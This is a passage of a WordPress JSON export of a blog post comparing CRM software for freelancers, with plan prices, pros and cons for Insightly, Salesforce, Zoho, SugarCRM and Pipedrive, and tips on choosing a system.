{"id":6233,"date":"2023-06-09T10:55:21","date_gmt":"2023-06-09T10:55:21","guid":{"rendered":"https:\/\/forest-1041a2.ingress-bonde.ewp.live\/best-crm-for-freelancers-in-2020\/"},"modified":"2023-06-09T10:55:21","modified_gmt":"2023-06-09T10:55:21","slug":"best-crm-for-freelancers","status":"publish","type":"post","link":"http:\/\/benrmatthews.local\/best-crm-for-freelancers\/","title":{"rendered":"Best CRM for freelancers"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_68_1 ez-toc-wrap-center counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title \" >On this page<\/p>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/benrmatthews.local\/best-crm-for-freelancers\/#Which_are_the_best_CRM_providers_for_freelancers\" title=\"Which are the best CRM providers for freelancers?\">Which are the best CRM providers for freelancers?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/benrmatthews.local\/best-crm-for-freelancers\/#What_is_CRM\" title=\"What is CRM?\">What is CRM?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"http:\/\/benrmatthews.local\/best-crm-for-freelancers\/#How_can_CRM_help_me\" title=\"How can CRM help me?\">How can CRM help me?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"http:\/\/benrmatthews.local\/best-crm-for-freelancers\/#How_does_CRM_work\" title=\"How does CRM work?\">How does CRM work?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"http:\/\/benrmatthews.local\/best-crm-for-freelancers\/#Insightly_CRM_%E2%80%93_is_it_for_me\" title=\"Insightly CRM \u2013 is it for me?\">Insightly CRM \u2013 is it for me?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"http:\/\/benrmatthews.local\/best-crm-for-freelancers\/#Salesforce_CRM_%E2%80%93_is_it_for_me\" title=\"Salesforce CRM \u2013 is it for me?\">Salesforce CRM \u2013 is it for me?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"http:\/\/benrmatthews.local\/best-crm-for-freelancers\/#Zoho_CRM_%E2%80%93_is_it_for_me\" title=\"Zoho CRM \u2013 is it for me?\">Zoho CRM \u2013 is it for me?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"http:\/\/benrmatthews.local\/best-crm-for-freelancers\/#SugarCRM_%E2%80%93_is_it_for_me\" title=\"SugarCRM \u2013 is it for me?\">SugarCRM \u2013 is it for me?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"http:\/\/benrmatthews.local\/best-crm-for-freelancers\/#Pipedrive_%E2%80%93_is_it_for_me\" title=\"Pipedrive \u2013 is it for me?\">Pipedrive \u2013 is it for me?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"http:\/\/benrmatthews.local\/best-crm-for-freelancers\/#HubSpot_%E2%80%93_is_it_for_me\" title=\"HubSpot \u2013 is it for me?\">HubSpot \u2013 is it for me?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"http:\/\/benrmatthews.local\/best-crm-for-freelancers\/#Apptivo_%E2%80%93_is_it_for_me\" title=\"Apptivo \u2013 is it for me?\">Apptivo \u2013 is it for me?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"http:\/\/benrmatthews.local\/best-crm-for-freelancers\/#Freelance_business_CRM_software\" title=\"Freelance business CRM software\">Freelance business CRM software<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"http:\/\/benrmatthews.local\/best-crm-for-freelancers\/#Summary_Best_CRM_system_for_freelance_business\" title=\"Summary Best CRM system for freelance business\">Summary Best CRM system for freelance business<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-14\" href=\"http:\/\/benrmatthews.local\/best-crm-for-freelancers\/#Freelance_business_CRM_features\" title=\"Freelance business CRM features\">Freelance business CRM features<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-15\" href=\"http:\/\/benrmatthews.local\/best-crm-for-freelancers\/#Benefits_of_CRM\" title=\"Benefits of CRM\">Benefits of CRM<\/a><\/li><\/ul><\/nav><\/div>\n\n<p>We\u2019ve scoured the CRM landscape to find the best CRM suppliers for freelancers in 2020, and below will explain everything you need to know to pick the one that\u2019s right for you.<\/p>\n\n\n\n<p>Each system is cloud-based (so you can access them from any device, anywhere), and offer a free trial (letting you try before you buy).<\/p>\n\n\n\n<p>But of course, the best way to find out which CRM system is your ideal fit is to talk to suppliers. Simply answer some questions to give us a better idea of what you\u2019re looking for, and we\u2019ll match you with up to four of the suppliers who are the best fit for you.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Which_are_the_best_CRM_providers_for_freelancers\"><\/span>Which are the best CRM providers for freelancers?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p><strong>Here\u2019s how the seven best CRM systems compare in one digestible chunk<\/strong>.<\/p>\n\n\n\n<p>Note: The price points of each CRM system will depend on the plan you opt with.&nbsp;<strong>This table shows the minimum and a maximum spend for each system<\/strong>, but for a more detailed price structure, see the individual break down in the below article.<\/p>\n\n\n\n<p>If you already have in mind the CRM providers that most interest you, just click on their name below to jump straight to their section.<\/p>\n\n\n\n<figure class=&quot;wp-block-table&quot;><table class=&quot;&quot;><thead><tr><th><strong>CRM system name<\/strong><\/th><th><strong>Best for<\/strong><\/th><th><strong>Not so great<\/strong><\/th><th><strong>Price range<\/strong><\/th><th><strong>Conversion<\/strong><\/th><\/tr><\/thead><tbody><tr><td>Insightly<\/td><td>Ease of use<\/td><td>Customisability<\/td><td>$0 \u2013 $99\/ user per month<\/td><td>\u00a30 \u2013 \u00a376.45<\/td><\/tr><tr><td>Salesforce<\/td><td>In-depth reporting<\/td><td>Ease of use<\/td><td>\u00a320 \u2013 \u00a3240\/ user per month<\/td><td>n\/a<\/td><\/tr><tr><td>Zoho<\/td><td>Low budget<\/td><td>Client support<\/td><td>$0 \u2013 $99\/ user per month<\/td><td>\u00a30 \u2013 \u00a376.45<\/td><\/tr><tr><td>SugarCRM<\/td><td>Customisability<\/td><td>Platform integration<\/td><td>$40 \u2013 $150\/ user per month<br><\/td><td>\u00a330.89 \u2013 \u00a3115.83<\/td><\/tr><tr><td>Pipedrive<\/td><td>Sales focus<\/td><td>Intuitive features<\/td><td>\u00a312 \u2013 \u00a363\/ user per month<\/td><td>n\/a<\/td><\/tr><tr><td>HubSpot<\/td><td>Simple set-up<\/td><td>Feature variety<\/td><td>\u00a30 \u2013 \u00a341\/ user per month<\/td><td>n\/a<\/td><\/tr><tr><td>Apptivo<\/td><td>Freelance business growth<\/td><td>Simple set-up<\/td><td>$0 \u2013 $20\/ user per month<\/td><td>\u00a315.44<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"What_is_CRM\"><\/span>What is CRM?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>You may already know that CRM stands for client relationship management. But what does that mean exactly? CRM is simply the strategy freelancers use to keep their clients happy and coming back.<\/p>\n\n\n\n<p>In the days before the internet, freelancers could do it all themselves. clients would pop into your shop, so it was easy to get to know their preferences, make the best recommendations, and take the time to answer their every query.<\/p>\n\n\n\n<p>But that\u2019s not what most freelancers look like today. Still, developing great client relationships is more important than ever.<\/p>\n\n\n\n<p>Did you know it\u2019s far less expensive to keep existing clients happy than to chase new ones? And that long-term clients are altogether more valuable?<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"How_can_CRM_help_me\"><\/span>How can CRM help me?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>Nowadays, freelance businesses  of all sizes are using CRM software to give their clients that same friendly, one-to-one client service, with just their computers and phones. And you don\u2019t need to be a marketing guru or have bags of time and money to use one.<\/p>\n\n\n\n<figure class=&quot;wp-block-image&quot;><img src=&quot;https:\/\/images.startups.co.uk\/wp-content\/uploads\/2017\/08\/crm-dash-example.jpg&quot; alt=&quot;CRM dashboard&quot; class=&quot;wp-image-116311&quot;\/><\/figure>\n\n\n\n<p>CRM providers give you a 360-degree view of all your clients\u2019 data across one simple interface. This is the basic format, but most of our top picks below have a friendlier feel.<\/p>\n\n\n\n<p>You may already use analytics tools like Google Analytics, marketing automation systems like Hootsuite and perhaps you are already an active merger thanks to MailChimp. But the best CRM software does the legwork for all your analytics, marketing and sales needs for you, and can integrate nicely with your existing platforms.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"How_does_CRM_work\"><\/span>How does CRM work?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>Essentially, CRM systems work by collecting client data, analysing it to understand their individual needs, and adjusting and automating marketing campaigns to help boost sales.<\/p>\n\n\n\n<p>What data does it need? The most useful data might be your clients\u2019 personal information (so you can personalise your emails to specific groups), or insights pulled from interactions they have had via your website, email and social media (which will help you work out who your biggest fans are, and who might be in need of a bit of attention).<\/p>\n\n\n\n<p>Research&nbsp;has shown that freelance businesses who create personalised experiences for their clients see their revenues increase by 6% to 10%.<\/p>\n\n\n\n<p>You  can also save bags of time by automating many of your tasks. Try creating automated email responses for the most common queries, or start tailoring your communications to specific clients. You&#8217;re bound to see an uplift in sales.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Why is all this important?<\/h3>\n\n\n\n<p>Gone are the days when a person on the end of a phone counted as good client service. Today people are used to connecting with each other via a number of platforms \u2013 and they expect the same of the freelance businesses they use, no matter their size.<\/p>\n\n\n\n<p>Everyone talks about the&nbsp;importance of data. But most people need a bit of help in making the most out of it. This can seem overwhelming for freelance businesses. But it doesn\u2019t need to be.<\/p>\n\n\n\n<p>Good CRM software takes the hassle out of keeping your clients happy and your sales healthy \u2013 and there are plans to suit all needs and budgets, even for when your business grows.<\/p>\n\n\n\n<p>CRM systems use client data to help you plan the best marketing and sales activities. This means you should:<\/p>\n\n\n\n<ol class=\"wp-block-list\"><li>Get more emails read by personalising their content<\/li><li>Save time by automating tasks<\/li><li>Get to know your clients better by understanding their data<\/li><\/ol>\n\n\n\n<p>In a nutshell, CRM makes freelancers happy by driving new and repeat sales.<\/p>\n\n\n\n<p>And it makes clients happy by improving the service they receive and their overall experience of your business. All this is the secret to better sales and loyal clients.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">5 top tips when choosing your CRM<\/h3>\n\n\n\n<p>Your CRM needs will be as unique as your freelance business, and there is no one-size-fits-all provider. But to help you decide which CRM tool is best for you, here are some key questions you\u2019ll want to ask yourself:<\/p>\n\n\n\n<ol class=\"wp-block-list\"><li><strong>How easy is the software to use?<\/strong> You don\u2019t have much time to spare. All our picks are easy to learn and use, and we\u2019ve highlighted which ones keep it simple, and which ones have more bells and whistles.<\/li><li><strong>Is it a team player?<\/strong> You want to know the CRM system you choose will get on well with the software you are already using. We\u2019ve selected the top options for integration, so the process will be as hassle-free as possible.<\/li><li><strong>How mobile is it?<\/strong> You are mobile, and you need your software to be too. Everything on this page is cloud-based (meaning everything can be stored online, and accessed wherever and whenever your staff need it), and comes with a mobile app (to make using CRM easier than ever).<\/li><li><strong>What\u2019s my budget?<\/strong> Price is always a big factor when choosing the right CRM provider, especially for start-up freelance businesses. Below you\u2019ll find the most cost-effective options for all price points to help you get the most out of your budget, and all come with a free trial.<\/li><li><strong>Will it scale with my business?<\/strong> However small your freelance business may be now, you\u2019ll want to think about where your CRM system will take you as you grow. To help you avoid starting all over again after a growth spurt, we\u2019ve tracked down the CRM plans which will scale best in the long term.<\/li><\/ol>\n\n\n\n<p>In the current climate,&nbsp;<strong>personalisation is key to any successful marketing campaign.<\/strong>&nbsp;Clients want to feel like an individual and require a one-on-one relationship with a brand in order to stay loyal.<\/p>\n\n\n\n<p>But tailoring marketing is tricky in the digital age. It\u2019s not on a face-to-face basis that we come to know our clients, which makes establishing their specific wants and needs a labour-heavy and time consuming task.<\/p>\n\n\n\n<p>A global survey analysing the \u2018top organisational barriers to personalisation\u2019 found that&nbsp;74% of businesses&nbsp;said that \u2018too few personal dedicated to personalisation\u2019 was their biggest obstacle when it came to offering a fully individualised brand experience to their clients.<\/p>\n\n\n\n<p>This is where a CRM system comes in. Saving freelance businesses time, money and resource by individualising marketing based on a client&#8217;s previous engagement with the brand.<\/p>\n\n\n\n<hr class=&quot;wp-block-separator&quot;\/>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Insightly_CRM_%E2%80%93_is_it_for_me\"><\/span>Insightly CRM \u2013 is it for me?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<figure class=&quot;wp-block-image&quot;><img src=&quot;https:\/\/images.startups.co.uk\/wp-content\/uploads\/2017\/08\/insightly-crm-logo.jpg&quot; alt=&quot;Insightly CRM&quot; class=&quot;wp-image-104619&quot;\/><\/figure>\n\n\n\n<p>With over 1.5 million users worldwide, Insightly is one of the most popular CRM systems around. It\u2019s known as a user-friendly option and is often a favourite for freelance businesses.<\/p>\n\n\n\n<p>You can access it online, or even on your mobile via its app, and it will integrate well with other online applications like Gmail, MailChimp, and Evernote. Its dashboard provides real-time information and a range of reports, but there is also the option of customising your own.<\/p>\n\n\n\n<p>Overall, Insightly is a solid entry point into the world of CRM.<\/p>\n\n\n\n<p><strong>Great for:<\/strong>&nbsp;Freelancers wanting to hit the ground running with CRM and grow quickly<\/p>\n\n\n\n<p><strong>Pros:<\/strong>&nbsp;Easy to use, integrates well with other software, good interface, affordable<\/p>\n\n\n\n<p><strong>Cons:<\/strong>&nbsp;Not fully customisable, limited client care on free version<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">What can Insightly do?<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>Building client relationships<\/strong>&nbsp;\u2013 Discover new connections, plan your sales process, track organisations and partnerships.<\/li><li><strong>Connecting to apps<\/strong>&nbsp;\u2013 Monitor all tools and manage them from one database with email and software integration.<\/li><li><strong>Accelerating sales<\/strong>&nbsp;\u2013 Automate lead capture and generation to streamline and improve processes. Close deals faster and more efficiently.<\/li><li><strong>Delivering projects<\/strong>&nbsp;\u2013 Manage assignments and projects, set schedules and share goals and objectives across teams.<\/li><li><strong>Being enterprise ready<\/strong>&nbsp;\u2013 Safeguard with encryption and backups to ensure that your vital information is protected.<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">What will Insightly cost me?<\/h3>\n\n\n\n<p>Insightly offer CRM plans to match different budgets. In the table below we have included information about each plan, with prices and some specific features.Search:<\/p>\n\n\n\n<figure class=&quot;wp-block-table&quot;><table class=&quot;&quot;><thead><tr><th><strong>Free<\/strong><\/th><th><strong>Plus<\/strong><\/th><th><strong>Professional<\/strong><\/th><th><strong>Enterprise<\/strong><\/th><\/tr><\/thead><tbody><tr><td>$0<\/td><td>$29\/user per month<\/td><td>$49\/user per month<\/td><td>$99\/user per month<\/td><\/tr><tr><td>Introductory package, ideal for a one or two person company<\/td><td>Segment, communicate and monitor outreach efforts<\/td><td>Add workflow automation and team security<\/td><td>Scale your CRM to fit your business needs<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Salesforce_CRM_%E2%80%93_is_it_for_me\"><\/span>Salesforce CRM \u2013 is it for me?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<figure class=&quot;wp-block-image&quot;><img src=&quot;https:\/\/images.startups.co.uk\/wp-content\/uploads\/2017\/08\/salesforce-crm-logo.jpg&quot; alt=&quot;Salesforce CRM logo&quot; class=&quot;wp-image-104620&quot;\/><\/figure>\n\n\n\n<p>Salesforce is one of the oldest players in CRM and is still considered one of the best options for freelance businesses.<\/p>\n\n\n\n<p>As you would expect, the tools are slick, and integrate nicely with any platforms you are already using. It has a jaw-dropping range of features, giving you the most in-depth insights into your clients.<\/p>\n\n\n\n<p>But even for those who are just finding their feet with CRM, there is also great client support, an intuitive interface and tutorials to help you make the most of their impressive tools.<\/p>\n\n\n\n<p>And because Salesforce caters for businesses of all sizes, you can be sure it will scale as you grow.<\/p>\n\n\n\n<p><strong>Great for:<\/strong> Freelancers wanting a slick user experience, scalability and in-depth reporting<\/p>\n\n\n\n<p><strong>Pros:<\/strong>&nbsp;Top-notch reports, integrates with most other tools, very flexible, feature-rich<\/p>\n\n\n\n<p><strong>Cons:<\/strong>&nbsp;Can be tricky to get to grips with<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">What can Salesforce do?<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>Sales<\/strong>&nbsp;\u2013 Improve, centralise and automate your sales process to save time and money, and get key insights into your clients.<\/li><li><strong>Service<\/strong>&nbsp;\u2013 Keep your clients happy and coming back with its intuitive and customisable solutions.<\/li><li><strong>Marketing<\/strong>&nbsp;\u2013 Understand your client journeys better to create personalised marketing communications across all your different channels.<\/li><li><strong>Apps Builder<\/strong>&nbsp;\u2013 Build your own apps with point-and-click tools. Its unified platform means everything scales and integrates well.<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">What will Salesforce cost me?<\/h3>\n\n\n\n<figure class=&quot;wp-block-table&quot;><table class=&quot;&quot;><thead><tr><th><strong>Lightning essentials<\/strong><\/th><th><strong>Lightning professional<\/strong><\/th><th><strong>Lightning enterprise<\/strong><\/th><th><strong>Lightning unlimited<\/strong><\/th><\/tr><\/thead><tbody><tr><td>\u00a320\/user per month<\/td><td>\u00a360\/user per month<\/td><td>\u00a3120\/user per month<\/td><td>\u00a3240\/user per month<\/td><\/tr><tr><td>Out-of-the-box CRM for up to five users<\/td><td>Complete CRM for any size team<\/td><td>Deeply customisable sales CRM for your business<\/td><td>Unlimited CRM power and support<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">Salesforce CRM products<\/h3>\n\n\n\n<p>Salesforce\u2019s CRM product range is expansive and varied to adapt to different client needs. With everything included \u2013 from specialty sales functions to marketing feature.<\/p>\n\n\n\n<p>The best way to understand what you need is to analyse your teams and to decide what your goals are. If you know that you want to improve sales figures, then this should be included in your decision-making process; likewise, if you know that you want to improve client retention rates, then you should consider this closely as part of the process too.<\/p>\n\n\n\n<p>Salesforce is able to offer a huge number of plans, with various services designed to match different requirements. Included in their plans are:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Cloud services \u2013 offers expertise, data and innovation.<\/li><li>Success plans \u2013 offers a range of services to suit different goals and objectives.<\/li><li>Advisory services \u2013 provides consultation services to help your freelance business grow.<\/li><\/ul>\n\n\n\n<p>These three plans can be perfect for many freelance businesses, however, there are more options available too \u2013 it is important to consider the choices carefully before making a final decision.<\/p>\n\n\n\n<p>Read more:&nbsp;Salesforce CRM UK Review<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Zoho_CRM_%E2%80%93_is_it_for_me\"><\/span>Zoho CRM \u2013 is it for me?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<figure class=&quot;wp-block-image&quot;><img src=&quot;https:\/\/images.startups.co.uk\/wp-content\/uploads\/2017\/08\/zoho-crm-logo.jpg&quot; alt=&quot;Zoho CRM logo&quot; class=&quot;wp-image-104624&quot;\/><\/figure>\n\n\n\n<p>Zoho is a great option for freelancers who want to be up and running in CRM quickly, and are looking for an option that\u2019s simple and affordable.<\/p>\n\n\n\n<p>Most users pick Zoho because it\u2019s reasonably priced, easy to use and very customisable. Plus, 2018 brought Zoho CRM a makeover, so it is now more user-friendly and powerful than ever.<\/p>\n\n\n\n<p>Rather than struggling with a series of how-to videos, Zoho users have access to a conversational AI assistant, so you can ask it (in everyday language) to find whatever information you need for you.<\/p>\n\n\n\n<p>Zoho gives a lot of bang for a few bucks and is one of the best low-budget CRM providers out there.<\/p>\n\n\n\n<p><strong>Great for<\/strong>: Freelancers with tight budgets who are after an intuitive way of using data<\/p>\n\n\n\n<p><strong>Pros:<\/strong>&nbsp;Affordable, easy to use<\/p>\n\n\n\n<p><strong>Cons:<\/strong>&nbsp;Client support can be slow to respond, limited features<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">What can Zoho CRM do?<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>Channels<\/strong>&nbsp;\u2013 Merge multiple channels for quick and streamlined conversations with clients.<\/li><li><strong>Performance<\/strong>&nbsp;\u2013 Make things easier for your staff, and improve sales figures with help from advanced platforms.<\/li><li><strong>Platforms<\/strong>&nbsp;\u2013 Use software that can be customised to suit your needs and goals.<\/li><li><strong>Scale<\/strong>&nbsp;\u2013 Zoho\u2019s CRM solution can be scaled as you grow.<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">What will Zoho CRM cost me?<\/h3>\n\n\n\n<p>Zoho offers a range of CRM plans to match different budgets. These plans are designed with different features included, allowing most businesses \u2013 including freelance businesses \u2013 to find a plan to suit their requirements.<\/p>\n\n\n\n<p>The table below includes a small side-by-side comparison of the plans that are available from Zoho.<\/p>\n\n\n\n<figure class=&quot;wp-block-table&quot;><table class=&quot;&quot;><thead><tr><th><strong>Free<\/strong><\/th><th><strong>Standard<\/strong><\/th><th><strong>Professional<\/strong><\/th><th><strong>Enterprise<\/strong><\/th><th><strong>Ultimate<\/strong><\/th><\/tr><\/thead><tbody><tr><td>$0\/user per month<\/td><td>$12\/user per month<\/td><td>$29\/user per month<\/td><td>$49\/user per month<\/td><td>$99\/user per month<\/td><\/tr><tr><td>Basic CRM, all you need to start your freelance business<\/td><td>Standard CRM, including sales forecasting and KPIs<\/td><td>Standard CRM, with integration and workflow<\/td><td>Advanced CRM, with custom modules<\/td><td>Full package, with customisable and tracking options<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>Some of Zoho\u2019s top promises are listed below:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Channels \u2013 merge multiple channels, allowing for quick and streamlined conversations with clients.<\/li><li>Performance \u2013 drive your teams forward and improve sales figures with help from advanced platforms.<\/li><li>Platforms \u2013 use software that can be customised to suit your needs and goals.<\/li><li>Scale \u2013 perfect for freelance businesses, Zoho\u2019s CRM can be scaled as your operations grows.<\/li><\/ul>\n\n\n\n<p>As well as traditional CRM, Zoho have also continued to introduce high-value technical functions into their company, with new features like Zia \u2013 an AI sales assistant \u2013 among their latest developments.<\/p>\n\n\n\n<p>You can find out our verdict in our full&nbsp;Zoho CRM review.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"SugarCRM_%E2%80%93_is_it_for_me\"><\/span>SugarCRM \u2013 is it for me?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<figure class=&quot;wp-block-image&quot;><img src=&quot;https:\/\/images.startups.co.uk\/wp-content\/uploads\/2017\/08\/sugarcrm-logo.jpg&quot; alt=&quot;SugarCRM logo&quot; class=&quot;wp-image-104625&quot;\/><\/figure>\n\n\n\n<p>Freelance businesses love SugarCRM for its low cost. It has a simple user interface, and a range of services to suit many sectors. This makes it ideal for companies with fairly straightforward sales processes, and little need for more complex processes (features like customisation are possible, but come with a learning curve and limited support).<\/p>\n\n\n\n<p>Growth is at the heart of SugarCRM, so it will be difficult for businesses not to grow with this tool. But because it\u2019s open source, you don\u2019t have the support services offered by some of the larger providers.<\/p>\n\n\n\n<p><strong>Great for:<\/strong>&nbsp;Freelance businesses who are looking to grow, are budget-conscious and want to keep things simple<\/p>\n\n\n\n<p><strong>Pros:<\/strong>&nbsp;Very cost-effective, full control and customisation of features<\/p>\n\n\n\n<p><strong>Cons:<\/strong>&nbsp;Takes a bit of time to master, can be tricky to integrate with other systems<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">What can SugarCRM do?<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>Enterprise<\/strong>&nbsp;\u2013 Adaptable software and systems that can be scaled to suit your freelance business.<\/li><li><strong>Sales<\/strong>&nbsp;\u2013 Schedule your system, and approach every sale with expertise.<\/li><li><strong>Customer service<\/strong>&nbsp;\u2013 Handle all client relationships, complaints and workflow efficiently.<\/li><li><strong>Marketing<\/strong>&nbsp;\u2013 Market effectively by integrating systems into one central dashboard.<\/li><li><strong>Mobile<\/strong>&nbsp;\u2013 Mobile CRM from SugarCRM lets you get to work, wherever you are.<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">What will SugarCRM cost me?<\/h3>\n\n\n\n<p>The table below includes some information about SugarCRM&#8217;s various plans.<\/p>\n\n\n\n<figure class=&quot;wp-block-table&quot;><table class=&quot;&quot;><thead><tr><th><strong>Sugar Professional<\/strong><\/th><th><strong>Sugar Enterprise<\/strong><\/th><th><strong>Sugar Ultimate<\/strong><\/th><\/tr><\/thead><tbody><tr><td>$40\/user per month<\/td><td>$65\/user per month<\/td><td>$150\/user per month<\/td><\/tr><tr><td>Basic CRM, ideal for growing your freelance business (15GB storage)<\/td><td>More CRM capabilities, best value for larger businesses (60GB storage)<\/td><td>Most complete CRM, plus highest level of support (250GB storage)<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>The five main areas covered by SugarCRM\u2019s products are:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Enterprise \u2013 providing adaptable software and systems that can be scaled to ensure the success of freelance businesses.<\/li><li>Sales \u2013 get the most out of each client, and provide them what they need too. Schedule with your system and approach every sale with expertise and resource.<\/li><li>Customer service \u2013 handle all client relationships with expertise and efficiency. Handle complaints and sales quickly and easily, by optimising workflow with a quality system.<\/li><li>Marketing \u2013 market effectively by integrating systems into one central dashboard. Launch campaigns with confidence.<\/li><li>Mobile \u2013 mobile CRM from SugarCRM lets you monitor and track, wherever you are. Stay connected and ensure quality, from top to bottom.<\/li><\/ul>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Pipedrive_%E2%80%93_is_it_for_me\"><\/span>Pipedrive \u2013 is it for me?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<figure class=&quot;wp-block-image&quot;><img src=&quot;https:\/\/images.startups.co.uk\/wp-content\/uploads\/2017\/08\/pipedrive-logo-small.jpg&quot; alt=&quot;Pipedrive logo&quot; class=&quot;wp-image-116327&quot;\/><\/figure>\n\n\n\n<p>Pipedrive is a leader in managing sales opportunities and is designed around activity-based selling. It is a great starter CRM, and its customisable and easy-to-use interface will appeal to freelance businesses looking to grow.<\/p>\n\n\n\n<p>Don&#8217;t be fooled by its modest price tag \u2013 this is a powerful sales tool, and takes the pain out of managing sales and related activities. There are also a number of out-of-the-box integrations available, making it as easy as possible to adapt the software to your sales and marketing strategies.<\/p>\n\n\n\n<p><strong>Great for:<\/strong>&nbsp;Sales pros and sales-focused freelance businesses<\/p>\n\n\n\n<p><strong>Pros:<\/strong>&nbsp;Slick sales management, great integration with other software, high-level reporting<\/p>\n\n\n\n<p><strong>Cons:<\/strong>&nbsp;Not so intuitive, limited non-sales features<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">What can Pipedrive do?<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>Pipeline management<\/strong>&nbsp;\u2013 Stay on top of all your deals with a clear visual interface.<\/li><li><strong>Email integration<\/strong>&nbsp;\u2013 Start sending and receiving emails from their platform to keep everything in one place.<\/li><li><strong>Activities and goals<\/strong>&nbsp;\u2013 Reminders, notifications and alerts help to stop things falling through the cracks.<\/li><li><strong>Sales reporting<\/strong>&nbsp;\u2013 See where you\u2019re losing sales, and spot ways of tweaking your approach.<\/li><li><strong>Sales forecasting<\/strong>&nbsp;\u2013 Forecast revenue, and pick the deals that are most likely to close.<\/li><li><strong>Mobile apps<\/strong>&nbsp;\u2013 Work from anywhere with Android and iPhone apps.<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">What will Pipedrive cost me?<\/h3>\n\n\n\n<p>The table below includes some information about Pipedrive&#8217;s various plans.<\/p>\n\n\n\n<figure class=&quot;wp-block-table&quot;><table class=&quot;&quot;><thead><tr><th><strong>Silver<\/strong><\/th><th><strong>Gold<\/strong><\/th><th><strong>Platinum<\/strong><\/th><\/tr><\/thead><tbody><tr><td>\u00a312\/user per month<\/td><td>\u00a324\/user per month<\/td><td>\u00a363\/user per month<\/td><\/tr><tr><td>Everything you need to create a clear sales process and get your team organised<\/td><td>Optimise your sales process to spend less time on admin and have more sales conversations<\/td><td>Manage teams, track performance, and adjust course when needed<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"HubSpot_%E2%80%93_is_it_for_me\"><\/span>HubSpot \u2013 is it for me?<span 